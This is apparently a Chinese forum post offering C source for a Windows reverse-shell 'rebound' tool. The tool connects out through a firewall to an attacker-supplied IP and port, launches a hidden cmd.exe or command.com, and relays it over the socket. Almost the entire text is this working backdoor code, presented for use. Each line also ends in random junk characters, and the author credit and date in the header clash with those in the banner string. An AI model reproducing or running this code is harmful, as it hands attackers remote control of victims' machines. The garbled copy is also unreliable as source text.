这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 P%z\^\p"5
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/* ============================== &PI}o
Rebound port in Windows NT &?IOrHSv!
By wind,2006/7 .+t{o[
===============================*/ p%EU,:I6
#include .Qg!_C
#include kSv?p1\@&P
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#pragma comment(lib,"wsock32.lib") z'=*pIY5f
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void OutputShell(); 'g$~ij ;x
SOCKET sClient; Q:&,8h[
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~Z!xS
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void main(int argc,char **argv) XAR~d6iZ
{ []/=!?5B
WSADATA stWsaData; y8HLrBTza
int nRet; {";5n7<<)
SOCKADDR_IN stSaiClient,stSaiServer; O+%Y1=S[WQ
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if(argc != 3) 8W)3rD>
{ }00mJ]H(
printf("Useage:\n\rRebound DestIP DestPort\n"); 7Te`#"
return; _6Wz1.]n
} HK)$ls
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WSAStartup(MAKEWORD(2,2),&stWsaData); W?mn8Y;{`
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gRIRc4p
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stSaiClient.sin_family = AF_INET; lBqu}88q0
stSaiClient.sin_port = htons(0); s
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2hdi)C,7Y
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) N3g[,BE
{ _m;0%]+
printf("Bind Socket Failed!\n"); ?`V%[~4_I
return; XL c&7
} M >P-0IC
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stSaiServer.sin_family = AF_INET; IE.JIi^w
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d!7cIYVZ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); wUHuykF
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) S!A)kK+
{ A^
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printf("Connect Error!"); $j0]+vT
return; #~*fZ|sq+3
} ';us;xR#
OutputShell(); I~y[8
} 3C 84b/A
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void OutputShell() AX}l~
sv
{ \!j{&cJ
char szBuff[1024]; S9d+#6rn
SECURITY_ATTRIBUTES stSecurityAttributes; ugcWFB5|
OSVERSIONINFO stOsversionInfo; A1e| Y
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; XKN`{h-@
STARTUPINFO stStartupInfo; 6pDb5@QjTy
char *szShell; 8.HqQ:?&2t
PROCESS_INFORMATION stProcessInformation; c) Zid1
unsigned long lBytesRead; fT [JU1
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); /f~V(DK
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); >i7zV`eK
stSecurityAttributes.lpSecurityDescriptor = 0; rD<G_%hP
stSecurityAttributes.bInheritHandle = TRUE; N(q%|h<Z/=
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); zm4Okg)w@
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0^nnR7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); sCU<1=
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u'M\m7
stStartupInfo.wShowWindow = SW_HIDE; |K| c
stStartupInfo.hStdInput = hReadPipe; s<Pk[7`*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]n1@!qa48
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GetVersionEx(&stOsversionInfo); [U@#whE O
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switch(stOsversionInfo.dwPlatformId) |_/q0#"
{ y3@R>@$
case 1: M@EML
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szShell = "command.com"; \&ra&3o
break; hE0
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default: O`5PX(J1&
szShell = "cmd.exe"; Sx?IpcPSm
break; jR`q y<
} Tm~a&p
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $50A!h
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send(sClient,szMsg,77,0); zC#[
while(1) dPgN*Bdv
{ Jj4!O3\I
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); S"0<`{Gv
if(lBytesRead) 3<sYxA\?w
{ pE<dK.v6
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); (b%&DyOt
send(sClient,szBuff,lBytesRead,0); 8sjAr.iT.
} pYIm43r H
else VSP6osX{
{ |1C=Ow*"
lBytesRead=recv(sClient,szBuff,1024,0); VCfa<hn
if(lBytesRead<=0) break; H+y(W5|2/X
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 2Sbo7e
} kaf4GME]
} xU+c?OLi
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return; H!mNHY_fA
}